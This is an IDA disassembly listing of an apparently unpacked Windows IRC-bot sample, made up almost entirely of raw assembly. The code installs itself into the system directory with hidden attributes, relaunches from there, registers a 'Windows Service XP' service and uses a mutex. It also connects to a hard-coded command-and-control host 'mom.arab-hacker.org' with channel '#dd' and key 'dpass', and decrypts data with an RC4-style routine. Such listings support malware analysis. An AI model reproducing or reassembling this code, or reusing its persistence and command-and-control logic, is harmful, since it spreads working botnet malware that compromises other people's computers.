;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : A8A1059F8A5E78E3918E72C2B06005A9
; File Name : u:\work\a8a1059f8a5e78e3918e72c2b06005a9_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000F9000 (1019904.)
; Section size in file : 000F9000 (1019904.)
; Offset to raw data for section: 00001000
; Flags F2000060: Text Data Discardable Shareable Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp0 segment para public 'CODE' use32
assume cs:_nsp0
;org 401000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_40141B+355p
; sub_41615A+1Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_43A050
xor esi, esi
mov ebx, offset aWindowsService ; "Windows Service XP"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4E0858
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_418D00
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4E08C4
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4E0810
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4E087C
add edi, 8
cmp edi, offset dword_43A068
jl short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_43701C[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: sub_414A1D+24Ap
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_418ED0
mov [esp+10h+var_10], offset dword_43A068
push [esp+10h+arg_0]
mov esi, eax
call sub_41B170
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_419360
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41AE60
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_419940
push edi
call sub_418D80
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 240h
push ebx
push esi
lea eax, [ebp-34h]
push edi
xor ebx, ebx
push eax
xor edi, edi
mov byte ptr [ebp-34h], 0Ah
mov byte ptr [ebp-33h], 0Eh
mov byte ptr [ebp-32h], 20h
mov byte ptr [ebp-31h], 48h
mov byte ptr [ebp-30h], 0Bh
mov byte ptr [ebp-2Fh], 2Bh
mov byte ptr [ebp-2Eh], 0Ch
mov byte ptr [ebp-2Dh], 23h
mov byte ptr [ebp-2Ch], 3Ah
mov byte ptr [ebp-2Bh], 27h
mov byte ptr [ebp-2Ah], 28h
mov byte ptr [ebp-29h], 5Eh
mov byte ptr [ebp-28h], 2Ah
mov byte ptr [ebp-27h], 1Eh
mov byte ptr [ebp-26h], 2Dh
mov byte ptr [ebp-25h], 5Ah
mov byte ptr [ebp-24h], 1Bh
mov byte ptr [ebp-23h], 0Fh
mov byte ptr [ebp-22h], 4Ch
mov byte ptr [ebp-21h], 44h
mov byte ptr [ebp-20h], 16h
mov byte ptr [ebp-1Fh], 4
mov byte ptr [ebp-1Eh], 57h
mov byte ptr [ebp-1Dh], 23h
mov byte ptr [ebp-1Ch], 11h
mov byte ptr [ebp-1Bh], 53h
mov byte ptr [ebp-1Ah], 38h
mov byte ptr [ebp-19h], 13h
mov byte ptr [ebp-18h], 0Dh
mov byte ptr [ebp-17h], 12h
mov byte ptr [ebp-16h], 25h
mov byte ptr [ebp-15h], 1Ch
mov byte ptr [ebp-14h], 30h
mov byte ptr [ebp-13h], 12h
mov byte ptr [ebp-12h], 50h
mov byte ptr [ebp-11h], 4Fh
mov byte ptr [ebp-10h], 39h
mov byte ptr [ebp-0Fh], 10h
mov byte ptr [ebp-0Eh], 42h
mov byte ptr [ebp-0Dh], 1Fh
mov byte ptr [ebp-0Ch], 37h
mov byte ptr [ebp-0Bh], 1Dh
mov byte ptr [ebp-0Ah], 41h
mov byte ptr [ebp-9], 55h
mov byte ptr [ebp-8], 2Ch
mov byte ptr [ebp-7], 41h
mov byte ptr [ebp-6], 2Ch
mov byte ptr [ebp-5], 58h
mov [ebp-4], bl
call sub_418D00
mov esi, 101h
mov [ebp-38h], eax
push esi
lea eax, [ebp-13Ch]
push ebx
push eax
call sub_41B190
push esi
lea eax, [ebp-240h]
push ebx
push eax
call sub_41B190
add esp, 1Ch
xor eax, eax
mov ecx, 100h
loc_401227: ; CODE XREF: .nsp0:00401231j
mov [ebp+eax-13Ch], al
inc eax
cmp eax, ecx
jb short loc_401227
cmp [ebp+14h], ebx
jz short loc_401256
xor eax, eax
loc_40123A: ; CODE XREF: .nsp0:00401252j
cmp edi, [ebp+14h]
jnz short loc_401241
xor edi, edi
loc_401241: ; CODE XREF: .nsp0:0040123Dj
mov edx, [ebp+10h]
mov dl, [edi+edx]
inc edi
mov [ebp+eax-240h], dl
inc eax
cmp eax, ecx
jb short loc_40123A
jmp short loc_401270
; ---------------------------------------------------------------------------
loc_401256: ; CODE XREF: .nsp0:00401236j
xor esi, esi
loc_401258: ; CODE XREF: .nsp0:0040126Ej
cmp edi, [ebp-38h]
jnz short loc_40125F
xor edi, edi
loc_40125F: ; CODE XREF: .nsp0:0040125Bj
mov al, [ebp+edi-34h]
inc edi
mov [ebp+esi-240h], al
inc esi
cmp esi, ecx
jb short loc_401258
loc_401270: ; CODE XREF: .nsp0:00401254j
mov [ebp+14h], ebx
xor edi, edi
mov eax, 0FFh
loc_40127A: ; CODE XREF: .nsp0:004012B4j
mov dl, [ebp+edi-13Ch]
mov ebx, [ebp+14h]
mov cl, [ebp+edi-240h]
lea esi, [ebp+edi-13Ch]
add ebx, edx
add ecx, ebx
and ecx, eax
inc edi
mov [ebp+14h], ecx
cmp edi, 100h
mov bl, [ebp+ecx-13Ch]
lea ecx, [ebp+ecx-13Ch]
mov [esi], bl
mov [ecx], dl
jb short loc_40127A
xor edi, edi
cmp [ebp+0Ch], edi
mov [ebp+14h], edi
mov [ebp+10h], edi
jbe short loc_401312
loc_4012C3: ; CODE XREF: .nsp0:00401310j
inc edi
and edi, eax
mov dl, [ebp+edi-13Ch]
lea ecx, [ebp+edi-13Ch]
mov bl, dl
add ebx, [ebp+14h]
and ebx, eax
mov esi, ebx
mov bl, [ebp+esi-13Ch]
mov [ebp+14h], esi
mov [ecx], bl
lea esi, [ebp+esi-13Ch]
mov ebx, [ebp+10h]
mov [esi], dl
mov cl, [ecx]
mov esi, [ebp+8]
add ecx, edx
and ecx, eax
add esi, ebx
mov cl, [ebp+ecx-13Ch]
xor [esi], cl
inc ebx
cmp ebx, [ebp+0Ch]
mov [ebp+10h], ebx
jb short loc_4012C3
loc_401312: ; CODE XREF: .nsp0:004012C1j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401317 proc near ; DATA XREF: sub_40141B+14o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_4537D4
call dword_4E0934
call sub_40A9C6
call dword_4E0804
call dword_4E0804
mov ebx, dword_4F1334
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B190
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41B190
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset dword_452A40
mov [ebp+var_28], 1
mov [ebp+var_24], di
call dword_4F1330 ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call dword_4F132C ; GetModuleFileNameA
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call dword_4F1328 ; CreateProcessA
test eax, eax
jz short loc_4013DC
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, dword_4F1324
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_4013DC: ; CODE XREF: sub_401317+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_452A38
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
call dword_4F1320 ; ExitProcess
pop edi
pop esi
pop ebx
loc_4013FF: ; DATA XREF: .nsp0:0043A004o
jmp $+5
push 0FFFFh
push 539h
call sub_4165B5
pop ecx
mov dword_4E05C8, eax
pop ecx
retn
sub_401317 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40141B proc near ; CODE XREF: .nsp0:0041EAE1p
var_988 = byte ptr -988h
var_884 = byte ptr -884h
var_883 = byte ptr -883h
var_6F4 = byte ptr -6F4h
var_5F4 = byte ptr -5F4h
var_4F0 = byte ptr -4F0h
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_1E8 = byte ptr -1E8h
var_E4 = dword ptr -0E4h
var_D8 = dword ptr -0D8h
var_B8 = dword ptr -0B8h
var_B4 = word ptr -0B4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
mov [ebp+var_4], offset sub_401317
push [ebp+var_4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4F1364
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4E05CC, eax
call esi ; GetTickCount
push eax
call sub_41B840
pop ecx
call sub_408F54
push 2
call dword_4E0948
push 7530h
push offset aK333yx ; "k333yx"
push ebx
push ebx
call dword_4F1360 ; CreateMutexA
push eax
call dword_4F135C ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40149B
push 1
call dword_4F1320 ; ExitProcess
loc_40149B: ; CODE XREF: sub_40141B+76j
lea eax, [ebp+var_884]
push eax
push 202h
call dword_4E081C
cmp eax, ebx
jnz loc_4019D8
cmp [ebp+var_884], 2
jnz loc_4019D2
xor eax, eax
mov al, [ebp+var_883]
cmp al, 2
jnz loc_4019D2
mov esi, 104h
lea eax, [ebp+var_3F0]
push esi
push eax
call dword_4F1330 ; GetSystemDirectoryA
lea eax, [ebp+var_2EC]
push esi
push eax
push ebx
call dword_4F1358 ; GetModuleHandleA
push eax
call dword_4F132C ; GetModuleFileNameA
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push ebx
lea eax, [ebp+var_2EC]
push ebx
push eax
call sub_41BA10
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push offset aSS_7 ; "%s%s"
lea eax, [ebp+var_5F4]
push esi
push eax
call sub_41B910
lea eax, [ebp+var_3F0]
push eax
lea eax, [ebp+var_2EC]
push eax
call sub_41B890
add esp, 30h
test eax, eax
jnz loc_40170D
cmp dword_43A08C, ebx
mov esi, offset byte_43A0E8
jz short loc_401593
push esi
xor edi, edi
call sub_418D00
sub eax, 4
pop ecx
jz short loc_401593
loc_401570: ; CODE XREF: sub_40141B+176j
call sub_41B850
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_43A0E8[edi], dl
inc edi
call sub_418D00
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401570
loc_401593: ; CODE XREF: sub_40141B+145j
; sub_40141B+153j
lea eax, [ebp+var_3F0]
push esi
push eax
lea eax, [ebp+var_1E8]
push offset aSS_8 ; "%s\\%s"
push eax
call sub_41B740
add esp, 10h
lea eax, [ebp+var_1E8]
push eax
call dword_4F1354 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4015D3
lea eax, [ebp+var_1E8]
push 80h
push eax
call dword_4F1350 ; SetFileAttributesA
loc_4015D3: ; CODE XREF: sub_40141B+1A4j
mov esi, dword_4F134C
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
xor edi, edi
push eax
loc_4015EA: ; CODE XREF: sub_40141B+206j
call esi ; CopyFileA
test eax, eax
jnz short loc_401623
call dword_4F1348 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_401623
cmp eax, 20h
jz short loc_401604
cmp eax, 5
jnz short loc_401623
loc_401604: ; CODE XREF: sub_40141B+1E2j
push 1
pop edi
push 3A98h
call dword_4F1334 ; Sleep
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
push eax
jmp short loc_4015EA
; ---------------------------------------------------------------------------
loc_401623: ; CODE XREF: sub_40141B+1D3j
; sub_40141B+1DDj ...
lea eax, [ebp+var_1E8]
push eax
call sub_416016
pop ecx
lea eax, [ebp+var_1E8]
push 7
push eax
call dword_4F1350 ; SetFileAttributesA
push 10h
lea eax, [ebp+var_20]
push ebx
push eax
call sub_41B190
push 44h
lea eax, [ebp+var_E4]
pop esi
push esi
push ebx
push eax
call sub_41B190
add esp, 18h
mov [ebp+var_E4], esi
mov [ebp+var_D8], offset dword_4E0758
mov [ebp+var_B4], bx
push 1
pop esi
mov [ebp+var_B8], esi
call dword_4F1344 ; GetCurrentProcessId
push eax
push esi
push 100000h
call dword_4F1340 ; OpenProcess
lea ecx, [ebp+var_2EC]
push ecx
push eax
lea eax, [ebp+var_1E8]
push eax
lea eax, [ebp+var_988]
push offset aSDS_0 ; "%s %d \"%s\""
push eax
call sub_41B740
add esp, 14h
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_E4]
push eax
lea eax, [ebp+var_3F0]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_988]
push ebx
push eax
lea eax, [ebp+var_1E8]
push eax
call dword_4F1328 ; CreateProcessA
test eax, eax
jz short loc_40170D
push 0C8h
call dword_4F1334 ; Sleep
push [ebp+var_20]
mov esi, dword_4F1324
call esi ; CloseHandle
push [ebp+var_1C]
call esi ; CloseHandle
call dword_4E0804
push ebx
call dword_4F1320 ; ExitProcess
loc_40170D: ; CODE XREF: sub_40141B+134j
; sub_40141B+2C8j
cmp dword_4EF88C, 2
jle short loc_401759
mov eax, dword_4EF890
push dword ptr [eax+4]
call sub_41B3F0
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call dword_4F135C ; WaitForSingleObject
push esi
call dword_4F1324 ; CloseHandle
mov eax, dword_4EF890
cmp [eax+8], ebx
jz short loc_401759
push 7D0h
call dword_4F1334 ; Sleep
mov eax, dword_4EF890
push dword ptr [eax+8]
call dword_4F133C ; DeleteFileA
loc_401759: ; CODE XREF: sub_40141B+2F9j
; sub_40141B+323j
cmp dword_43A090, ebx
jz short loc_401776
cmp dword_4E096C, ebx
jnz short loc_401776
lea eax, [ebp+var_5F4]
push eax
call sub_401000
pop ecx
loc_401776: ; CODE XREF: sub_40141B+344j
; sub_40141B+34Cj
lea eax, [ebp+var_A0]
push offset dword_44145C
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_40A7FD
lea eax, [ebp+var_A0]
push eax
call sub_41458A
push 0B80h
push ebx
push offset dword_452A48
call sub_41B190
lea eax, [ebp+var_A0]
push offset unk_441478
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_A0]
push 1
push eax
call sub_40A7FD
add esp, 38h
mov esi, eax
mov edi, dword_4F1338
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_417935
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_4537DC[esi], eax
jnz short loc_401816
call dword_4F1348 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_A0]
push offset unk_44149C
push eax
call sub_41B740
add esp, 0Ch
loc_401816: ; CODE XREF: sub_40141B+3DEj
lea eax, [ebp+var_A0]
push eax
call sub_41458A
push 2
call sub_40AA45
pop ecx
test eax, eax
pop ecx
jnz short loc_40189B
lea eax, [ebp+var_A0]
push offset dword_4414DC
push eax
call sub_41B740
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40A7FD
add esp, 14h
mov esi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push esi
push offset sub_40FD11
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_4537DC[esi], eax
jnz short loc_40188E
call dword_4F1348 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_A0]
push offset dword_441508
push eax
call sub_41B740
add esp, 0Ch
loc_40188E: ; CODE XREF: sub_40141B+456j
lea eax, [ebp+var_A0]
push eax
call sub_41458A
pop ecx
loc_40189B: ; CODE XREF: sub_40141B+412j
call sub_41B850
push 7Fh
and eax, 3
push offset aMom_arabHacker ; "mom.arab-hacker.org"
push offset dword_4E05D4
mov dword_4E074C, eax
call sub_41B1F0
mov eax, dword_43A06C
push 3Fh
mov edi, offset dword_4E0654
push offset aDd ; "#dd"
push edi
mov dword_4E0724, eax
call sub_41B1F0
push 3Fh
mov esi, offset dword_4E0694
push offset aDpass ; "dpass"
push esi
call sub_41B1F0
add esp, 24h
mov dword_4E0728, ebx
loc_4018F0: ; CODE XREF: sub_40141B+55Dj
; sub_40141B+568j ...
mov [ebp+var_4], ebx
loc_4018F3: ; CODE XREF: sub_40141B+511j
push offset dword_4E05D0
mov dword_4E0748, ebx
call sub_4019E1
cmp eax, 2
mov [ebp+var_10], eax
jz loc_4019CD
cmp dword_4E0748, ebx
jz short loc_40191A
dec [ebp+var_4]
loc_40191A: ; CODE XREF: sub_40141B+4FAj
push 0BB8h
call dword_4F1334 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_4018F3
cmp [ebp+var_10], 2
jz loc_4019CD
cmp [ebp+var_C], ebx
jz short loc_40197D
push 7Fh
push offset aMom_arabHacker ; "mom.arab-hacker.org"
push offset dword_4E05D4
call sub_41B1F0
mov eax, dword_43A06C
push 3Fh
push offset aDd ; "#dd"
push edi
mov dword_4E0724, eax
call sub_41B1F0
push 3Fh
push offset aDpass ; "dpass"
push esi
call sub_41B1F0
add esp, 24h
mov [ebp+var_C], ebx
jmp loc_4018F0
; ---------------------------------------------------------------------------
loc_40197D: ; CODE XREF: sub_40141B+520j
cmp byte_4E073C, bl
jz loc_4018F0
push 7Fh
push offset byte_4E073C
push offset dword_4E05D4
call sub_41B1F0
mov eax, dword_43A070
push 3Fh
push offset dword_4E0740
push edi
mov dword_4E0724, eax
call sub_41B1F0
push 3Fh
push offset dword_4E0744
push esi
call sub_41B1F0
add esp, 24h
mov [ebp+var_C], 1
jmp loc_4018F0
; ---------------------------------------------------------------------------
loc_4019CD: ; CODE XREF: sub_40141B+4EEj
; sub_40141B+517j
call sub_40A9C6
loc_4019D2: ; CODE XREF: sub_40141B+A1j
; sub_40141B+B1j
call dword_4E0804
loc_4019D8: ; CODE XREF: sub_40141B+94j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_40141B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019E1 proc near ; CODE XREF: sub_40141B+4E3p
; DATA XREF: sub_401CC1+5DE1o
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401A06: ; CODE XREF: sub_4019E1+E6j
; sub_4019E1+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4E08A0
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_409EFD
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_401B33
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B190
push 0
lea eax, [ebp+var_2C]
push dword_43A0A0
push dword_43A09C
push eax
call sub_40A4F6
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_4537E0
push edi
push eax
call sub_41B1F0
add esp, 28h
push 6
push 1
push 2
call dword_4E091C
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_4537D4[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4E084C
cmp eax, 0FFFFFFFFh
jnz short loc_401ACC
push esi
call dword_4E0934
call sub_409F26
push 7D0h
loc_401AC1: ; CODE XREF: sub_4019E1+146j
call dword_4F1334 ; Sleep
jmp loc_401A06
; ---------------------------------------------------------------------------
loc_401ACC: ; CODE XREF: sub_4019E1+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_44153C
call sub_4145FE
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401B49
add esp, 28h
mov edi, eax
push esi
call dword_4E0934
test edi, edi
jz loc_401A06
cmp edi, 1
jnz short loc_401B29
push 0DBBA0h
jmp short loc_401AC1
; ---------------------------------------------------------------------------
loc_401B29: ; CODE XREF: sub_4019E1+13Fj
cmp edi, 2
jz short loc_401B37
jmp loc_401A06
; ---------------------------------------------------------------------------
loc_401B33: ; CODE XREF: sub_4019E1+5Aj
xor eax, eax
jmp short loc_401B43
; ---------------------------------------------------------------------------
loc_401B37: ; CODE XREF: sub_4019E1+14Bj
push [ebp+var_34]
call sub_40AB19
pop ecx
push 2
pop eax
loc_401B43: ; CODE XREF: sub_4019E1+154j
pop edi
pop esi
leave
retn 4
sub_4019E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B49 proc near ; CODE XREF: sub_4019E1+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41BC60
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401B67: ; CODE XREF: sub_401B49+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401B67
cmp byte_4E0738, bl
jz short loc_401B8E
push offset byte_4E0738
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_408E73
add esp, 0Ch
loc_401B8E: ; CODE XREF: sub_401B49+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40A4F6
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41B740
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4E08EC
cmp eax, 0FFFFFFFFh
jnz short loc_401BF8
push [ebp+arg_0]
call dword_4E0934
push 1388h
call dword_4F1334 ; Sleep
loc_401BF1: ; CODE XREF: sub_401B49+D9j
; sub_401B49+153j
xor eax, eax
loc_401BF3: ; CODE XREF: sub_401B49+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401BF8: ; CODE XREF: sub_401B49+92j
; sub_401B49+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4E08B8
test eax, eax
jle short loc_401BF1
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_415CFF
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401BF8
lea edi, [ebp+var_A90]
loc_401C49: ; CODE XREF: sub_401B49+165j
push 1
pop esi
loc_401C4C: ; CODE XREF: sub_401B49+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401CC1
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401C8F
push 7D0h
call dword_4F1334 ; Sleep
jmp short loc_401C4C
; ---------------------------------------------------------------------------
loc_401C8F: ; CODE XREF: sub_401B49+137j
cmp esi, 0FFFFFFFDh
jz short loc_401CB9
cmp esi, 0FFFFFFFEh
jz short loc_401CB5
cmp esi, 0FFFFFFFFh
jz loc_401BF1
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401C49
jmp loc_401BF8
; ---------------------------------------------------------------------------
loc_401CB5: ; CODE XREF: sub_401B49+14Ej
push 1
jmp short loc_401CBB
; ---------------------------------------------------------------------------
loc_401CB9: ; CODE XREF: sub_401B49+149j
push 2
loc_401CBB: ; CODE XREF: sub_401B49+16Ej
pop eax
jmp loc_401BF3
sub_401B49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401CC1 proc near ; CODE XREF: sub_401B49+12Ap
var_4AE8 = byte ptr -4AE8h
var_46E8 = byte ptr -46E8h
var_4558 = byte ptr -4558h
var_4454 = byte ptr -4454h
var_4350 = byte ptr -4350h
var_4250 = byte ptr -4250h
var_4150 = byte ptr -4150h
var_4050 = byte ptr -4050h
var_3F4C = byte ptr -3F4Ch
var_3E4C = byte ptr -3E4Ch
var_3C4C = byte ptr -3C4Ch
var_3B4C = byte ptr -3B4Ch
var_3A4C = byte ptr -3A4Ch
var_39E8 = byte ptr -39E8h
var_37E8 = byte ptr -37E8h
var_36E8 = byte ptr -36E8h
var_35E8 = byte ptr -35E8h
var_34E8 = byte ptr -34E8h
var_33E8 = dword ptr -33E8h
var_33E4 = dword ptr -33E4h
var_33E0 = byte ptr -33E0h
var_3360 = byte ptr -3360h
var_32E0 = byte ptr -32E0h
var_3260 = byte ptr -3260h
var_31E0 = byte ptr -31E0h
var_3160 = dword ptr -3160h
var_315C = dword ptr -315Ch
